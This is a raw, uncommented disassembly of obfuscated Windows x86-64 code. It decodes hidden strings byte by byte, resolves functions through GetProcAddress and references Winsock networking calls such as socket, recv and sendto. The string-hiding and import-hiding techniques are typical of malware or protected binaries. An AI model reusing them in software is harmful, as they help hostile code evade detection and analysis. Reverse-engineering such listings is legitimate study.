jmp 0x14006ef9b
jne 0x14006eeb3
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e6d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006eedb
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006f048
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006eeff
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
dec r11
inc r11
jmp 0x14006e6d3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006eb2a
movzx r9d, r11b
lea edx, [r9 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006f0be
movzx r9d, r11b
lea edx, [r9 + 0x40]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x160]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x48
movzx eax, r10b
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x160], cl
jmp 0x14006f045
movzx r9d, r11b
lea edx, [r9 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, byte [rbp + r11 + 0x160]
sub dil, 0x30
add dil, dl
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x68
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x160], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x160], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e6d3
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
jmp 0x14006f048
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006e6d3
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006e6d3
movzx r9d, r11b
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
jmp 0x14006f0be
movzx r9d, r11b
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, dl
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x160], cl
inc r8
dec r11
inc r11
jmp 0x14006e6d3
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x48
dec r11
inc r11
jmp 0x14006e6d3
lea rcx, [r11 + r12]
movzx eax, cl
and al, r9b
mov edx, 0x2c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e6d3
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x18
jmp 0x14006e6d0
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006e6c0
lea rdx, [rbp + 0x17076c0]
jmp 0x14006f19a
lea rdx, [rbp + 0x11acac8]
jmp 0x14006f19a
lea rdx, [rbp + 0x160]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x360], 0x8b
mov byte [rbp + 0x361], 0xbe
mov byte [rbp + 0x362], 0xac
mov byte [rbp + 0x363], 0x8a
mov byte [rbp + 0x364], 0xb9
mov byte [rbp + 0x365], 0x8b
mov byte [rbp + 0x366], 0x80
mov byte [rbp + 0x367], 0x8e
mov byte [rbp + 0x368], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x369], 0xa5
mov byte [rbp + 0x36a], 0x83
mov byte [rbp + 0x36b], __WSAFDIsSet
mov byte [rbp + 0x36c], 0x8a
mov byte [rbp + 0x36d], 0x81
mov byte [rbp + 0x36e], 0xb7
mov byte [rbp + 0x36f], 0x9c
mov byte [rbp + 0x370], 0xd5
mov byte [rbp + 0x371], 0x8f
mov byte [rbp + 0x372], 0x8e
mov byte [rbp + 0x373], 0x88
mov byte [rbp + 0x374], 0x84
mov byte [rbp + 0x375], __WSAFDIsSet
mov byte [rbp + 0x376], 0x80
mov byte [rbp + 0x377], 0x84
mov byte [rbp + 0x378], recvfrom
xor eax, eax
mov qword [rbp + 0x379], rax
mov dword [rbp + 0x381], eax
mov byte [rbp + 0x385], al
movabs rsi, 0xd696946f6f2956db
movabs r12, 0xde1e0f0c0a215ffd
movabs r13, 0x30f0e62d2bceb247
movabs r15, 0x83c3bd4e4d7c0491
movzx edi, byte [rbp + 0x3e0]
nop word [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x26
jae 0x14006fe0c
movzx r10d, byte [rbp + r11 + 0x360]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006fe03
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006f2fc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 3
jmp 0x14006f336
je 0x14006fd95
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006fd35
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006fcef
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006fccd
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006fc82
cmp r8, r11
ja 0x14006fdfa
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14006f363
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
jmp 0x14006f390
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006fc65
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006fc43
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006fc28
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006f8ef
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006f8cc
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006f8a4
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006f87f
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006f85c
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006f83d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006f81e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f7ff
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006f7e0
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006f7af
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006f3a0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 3]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006fddd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006fdc0
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006f584
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006f569
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006f54e
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006f766
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006f721
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006f6e1
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006f6bb
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006f3a0
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 1]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006f68e
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006f673
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006f658
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006f63d
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006f622
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006f603
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006f5e2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006f5be
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006f59f
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006f3a0
lea rbx, [r8 + 4]
lea r8, [rbx + 9]
jmp 0x14006f3a0
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x14006f390
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x14006f336
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x14006f2c6
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
movzx r9d, r11b
jmp 0x14006fca0
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
inc r8
dec r11
inc r11
jmp 0x14006f2b3
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
dec r11
inc r11
jmp 0x14006f2b3
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
movzx r9d, r11b
jmp 0x14006fbce
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14006fbf0
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14006fbf3
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14006fd08
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x14006fd4e
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x47
mov byte [rbp + r11 + 0x360], dil
inc r11
jmp 0x14006f2b3
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
cmp r8, 2
jb 0x14006f6d1
movzx r9d, r11b
lea ecx, [r9 + 0x42]
movzx eax, cl
and al, r10b
mov edx, 0x19
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006fca0
lea ecx, [r11 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
cmp rbx, 4
jae 0x14006fbac
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14006fac4
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x14006f6f7
lea ecx, [r11 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x14006fc0c
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006f9ee
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
jmp 0x14006f737
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fd4e
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fd08
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fbf3
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fbf0
movzx r9d, r11b
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fbce
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006f2b3
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006f2b3
movzx r9d, r11b
lea edx, [r9 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fca0
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14006f913
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
jmp 0x14006f77c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006f94d
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f971
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14006fd08
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006f995
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x14006fbf0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006f9c2
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
inc r8
dec r11
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006f77c
movzx r9d, r11b
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
jmp 0x14006fca0
jne 0x14006fa0f
movzx r9d, r11b
lea ecx, [r9 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
jmp 0x14006fca0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006fa3c
lea ecx, [r11 - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3d
inc r8
dec r11
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006fa66
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
dec r11
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006fa8a
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
jmp 0x14006fd08
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006f737
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006fafa
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006fb22
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fbf3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006fb4e
movzx r9d, r11b
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fbce
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006fb7c
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006f2b3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006f6f7
movzx r9d, r11b
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006fca0
movzx r9d, r11b
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x360]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x3b
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x360], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006f2b3
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006fd08
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
jmp 0x14006fd08
lea ecx, [r11 + 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x51
dec r11
inc r11
jmp 0x14006f2b3
movzx r9d, r11b
lea edx, [r9 - 0x53]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x45
jmp 0x14006fc9d
movzx r9d, r11b
lea edx, [r9 + 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x39
add dil, dl
add r9b, 0x1d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x35
add r10b, r9b
mov byte [rbp + r11 + 0x360], r10b
inc r8
dec r11
inc r11
jmp 0x14006f2b3
lea ecx, [r11 - 0x2b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x2d
dec r11
inc r11
jmp 0x14006f2b3
lea rcx, [r11 + r12]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
lea edx, [r11 - 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x41
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x360], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14006fd4e
lea rcx, [r11 + r13]
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x360], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 9
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f2b3
sub r11b, 0x39
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x71
jmp 0x14006f2b0
add r11b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x77
jmp 0x14006f2a0
lea rdx, [rbp + 0x1465e84]
jmp 0x14006fe13
lea rdx, [rbp + 0x16fb55f]
jmp 0x14006fe13
lea rdx, [rbp + 0x360]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x180], 5
mov byte [rbp + 0x181], 4
mov byte [rbp + 0x182], 0x3f
mov byte [rbp + 0x183], 0x3e
mov byte [rbp + 0x184], 9
mov byte [rbp + 0x185], reloc.WS2_32.dll_recv
mov byte [rbp + 0x186], recvfrom
mov byte [rbp + 0x187], 5
mov byte [rbp + 0x188], gethostname
mov byte [rbp + 0x189], 0x3f
mov byte [rbp + 0x18a], 0
mov byte [rbp + 0x18b], 0x8b
xor eax, eax
mov qword [rbp + 0x18c], rax
mov dword [rbp + 0x194], eax
mov byte [rbp + 0x198], al
movabs rsi, 0xbf9f4a9875008199
movabs r12, 0x3d5b0a2b33038b2f
movabs r15, 0x3edddfc95f0184cb
movzx edi, byte [rbp + 0x3e0]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x19
jae 0x140070a70
movzx r10d, byte [rbp + r11 + 0x180]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x140070a67
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006ff0c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x2f
jmp 0x14006ff53
je 0x1400709f9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007096e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007093c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400708fe
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400708dd
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140070896
cmp r8, r11
ja 0x140070a5e
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14006ff7d
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x25
jmp 0x14006ffc0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007087a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140070859
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007083e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140070823
cmp rbx, rcx
je 0x1400707f6
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140070528
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140070509
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400704e1
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400704bc
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007049d
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007047e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140070463
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140070448
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140070429
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400703fc
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006ffd0
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140070a41
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140070a24
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400701c3
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400701a8
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007018d
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400703b3
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007036e
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140070330
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007030a
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006ffd0
lea rbx, [r8 + 5]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400702d9
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400702be
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007029f
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140070284
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140070269
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140070246
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140070225
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140070201
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400701de
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006ffd0
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x42]
jmp 0x14006ffd0
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
jmp 0x14006ffc0
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x14006ff53
lea ecx, [r11 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x14006fed6
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400708b0
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
inc r8
dec r11
inc r11
jmp 0x14006fec3
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
dec r11
inc r11
jmp 0x14006fec3
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140070918
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140070952
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x140070955
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070987
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x1400709b2
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
